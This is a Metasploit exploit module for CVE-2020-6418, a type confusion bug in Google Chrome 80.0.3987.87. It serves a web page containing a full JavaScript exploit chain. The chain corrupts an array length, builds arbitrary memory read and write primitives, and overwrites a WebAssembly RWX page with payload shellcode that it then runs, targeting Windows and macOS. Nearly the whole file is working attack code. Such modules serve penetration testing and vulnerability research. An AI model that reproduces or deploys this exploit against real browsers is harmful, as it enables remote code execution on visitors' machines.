##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Post::File
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
'Description' => %q{
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
corrupts the length of a float array (float_rel), which can then be used for out
of bounds read and write on adjacent memory.
The relative read and write is then used to modify a UInt64Array (uint64_aarw)
which is used for read and writing from absolute memory.
The exploit then uses WebAssembly in order to allocate a region of RWX memory,
which is then replaced with the payload shellcode.
The payload is executed within the sandboxed renderer process, so the browser
must be run with the --no-sandbox option for the payload to work correctly.
},
'License' => MSF_LICENSE,
'Author' => [
'Clément Lecigne', # discovery
'István Kurucsai', # exploit
'Vignesh S Rao', # exploit
'timwr', # metasploit copypasta
],
'References' => [
['CVE', '2020-6418'],
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
],
'Arch' => [ ARCH_X64 ],
'DefaultTarget' => 0,
'Targets' =>
[
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
],
'DisclosureDate' => 'Feb 19 2020'))
register_advanced_options([
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
])
end
def on_request_uri(cli, request)
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
print_status("[*] #{request.body}")
send_response(cli, '')
return
end
print_status("Sending #{request.uri} to #{request['User-Agent']}")
escaped_payload = Rex::Text.to_unescape(payload.raw)
jscript = %Q^
var shellcode = unescape("#{escaped_payload}");
// HELPER FUNCTIONS
let conversion_buffer = new ArrayBuffer(8);
let float_view = new Float64Array(conversion_buffer);
let int_view = new BigUint64Array(conversion_buffer);
BigInt.prototype.hex = function() {
return '0x' + this.toString(16);
};
BigInt.prototype.i2f = function() {
int_view[0] = this;
return float_view[0];
}
BigInt.prototype.smi2f = function() {
int_view[0] = this << 32n;
return float_view[0];
}
Number.prototype.f2i = function() {
float_view[0] = this;
return int_view[0];
}
Number.prototype.f2smi = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.fhw = function() {
float_view[0] = this;
return int_view[0] >> 32n;
}
Number.prototype.flw = function() {
float_view[0] = this;
return int_view[0] & BigInt(2**32-1);
}
Number.prototype.i2f = function() {
return BigInt(this).i2f();
}
Number.prototype.smi2f = function() {
return BigInt(this).smi2f();
}
function hex(a) {
return a.toString(16);
}
//
// EXPLOIT
//
// the number of holes here determines the OOB write offset
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
var float_rel; // float array, initially corruption target
var float_carw; // float array, used for reads/writes within the compressed heap
var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space
var obj_leaker; // used to implement addrof
vuln.pop();
vuln.pop();
vuln.pop();
function empty() {}
function f(nt) {
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
for (var i = 0; i < 0x10000; ++i) {};
}
let p = new Proxy(Object, {
get: function() {
vuln[0] = {};
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
float_carw = [6.6];
uint64_aarw = new BigUint64Array(4);
obj_leaker = {
a: float_rel,
b: float_rel,
};
return Object.prototype;
}
});
function main(o) {
for (var i = 0; i < 0x10000; ++i) {};
return f(o);
}
// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
function crel_read4(offset) {
var qw_offset = Math.floor(offset / 2);
if (offset & 1 == 1) {
return float_rel[qw_offset].fhw();
} else {
return float_rel[qw_offset].flw();
}
}
// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
function crel_write4(offset, val) {
var qw_offset = Math.floor(offset / 2);
// we are writing an 8-byte double under the hood
// read out the other half and keep its value
if (offset & 1 == 1) {
temp = float_rel[qw_offset].flw();
new_val = (val << 32n | temp).i2f();
float_rel[qw_offset] = new_val;
} else {
temp = float_rel[qw_offset].fhw();
new_val = (temp << 32n | val).i2f();
float_rel[qw_offset] = new_val;
}
}
const float_carw_elements_offset = 0x14;
function cabs_read4(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read4: ' + hex(float_carw[0].f2i()));
res = float_carw[0].flw();
// TODO restore elements ptr
return res;
}
// This function provides arbitrary within read the compressed heap
function cabs_read8(caddr) {
elements_addr = caddr - 8n | 1n;
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_read8: ' + hex(float_carw[0].f2i()));
res = float_carw[0].f2i();
// TODO restore elements ptr
return res;
}
// This function provides arbitrary write within the compressed heap
function cabs_write4(caddr, val) {
elements_addr = caddr - 8n | 1n;
temp = cabs_read4(caddr + 4n | 1n);
print('cabs_write4 temp: '+ hex(temp));
new_val = (temp << 32n | val).i2f();
crel_write4(float_carw_elements_offset, elements_addr);
print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));
float_carw[0] = new_val;
// TODO restore elements ptr
return res;
}
const objleaker_offset = 0x41;
function addrof(o) {
obj_leaker.b = o;
addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
obj_leaker.b = {};
return addr;
}
const uint64_externalptr_offset = 0x1b; // in 8-bytes
// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
function read8(addr) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;
val = uint64_aarw[0];
float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}
// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
function write8(addr, val) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;
uint64_aarw[0] = val;
float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
return val;
}
// Given an array of bigints, this will write all the elements to the address provided as argument
function writeShellcode(addr, sc) {
faddr = addr.i2f();
t1 = float_rel[uint64_externalptr_offset];
t2 = float_rel[uint64_externalptr_offset + 1];
float_rel[uint64_externalptr_offset - 1] = 10;
float_rel[uint64_externalptr_offset] = faddr;
float_rel[uint64_externalptr_offset + 1] = 0.0;
for (var i = 0; i < sc.length; ++i) {
uint64_aarw[i] = sc[i]
}
float_rel[uint64_externalptr_offset] = t1;
float_rel[uint64_externalptr_offset + 1] = t2;
}
function get_compressed_rw() {
for (var i = 0; i < 0x10000; ++i) {empty();}
main(empty);
main(empty);
// Function would be jit compiled now.
main(p);
print(`Corrupted length of float_rel array = ${float_rel.length}`);
}
function get_arw() {
get_compressed_rw();
print('should be 0x2: ' + hex(crel_read4(0x15)));
let previous_elements = crel_read4(0x14);
//print(hex(previous_elements));
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));
cabs_write4(previous_elements, 0x66554433n);
//print(hex(cabs_read4(previous_elements)));
//print(hex(cabs_read4(previous_elements + 4n)));
print('addrof(float_rel): ' + hex(addrof(float_rel)));
uint64_aarw[0] = 0x4142434445464748n;
}
function rce() {
function get_wasm_func() {
var importObject = {
imports: { imported_func: arg => print(arg) }
};
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
wasm_code = new Uint8Array(bc);
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
return wasm_mod.exports.exported_func;
}
let wasm_func = get_wasm_func();
// traverse the JSFunction object chain to find the RWX WebAssembly code page
let wasm_func_addr = addrof(wasm_func);
let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
print('sfi: ' + hex(sfi));
let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));
let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
print('instance: ' + hex(instance));
let wasm_rwx_addr = cabs_read8(instance + 0x68n);
print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));
// write the shellcode to the RWX page
while(shellcode.length % 4 != 0){
shellcode += "\u9090";
}
let sc = [];
// convert the shellcode to BigInt
for (let i = 0; i < shellcode.length; i += 4) {
sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
}
writeShellcode(wasm_rwx_addr,sc);
print('success');
wasm_func();
}
function exp() {
get_arw();
rce();
}
exp();
^
if datastore['DEBUG_EXPLOIT']
debugjs = %Q^
print = function(arg) {
var request = new XMLHttpRequest();
request.open("POST", "/print", false);
request.send("" + arg);
};
^
jscript = "#{debugjs}#{jscript}"
else
jscript.gsub!(/\/\/.*$/, '') # strip comments
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
end
html = %Q^
<html>
<head>
<script>
#{jscript}
</script>
</head>
<body>
</body>
</html>
^
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
end
end
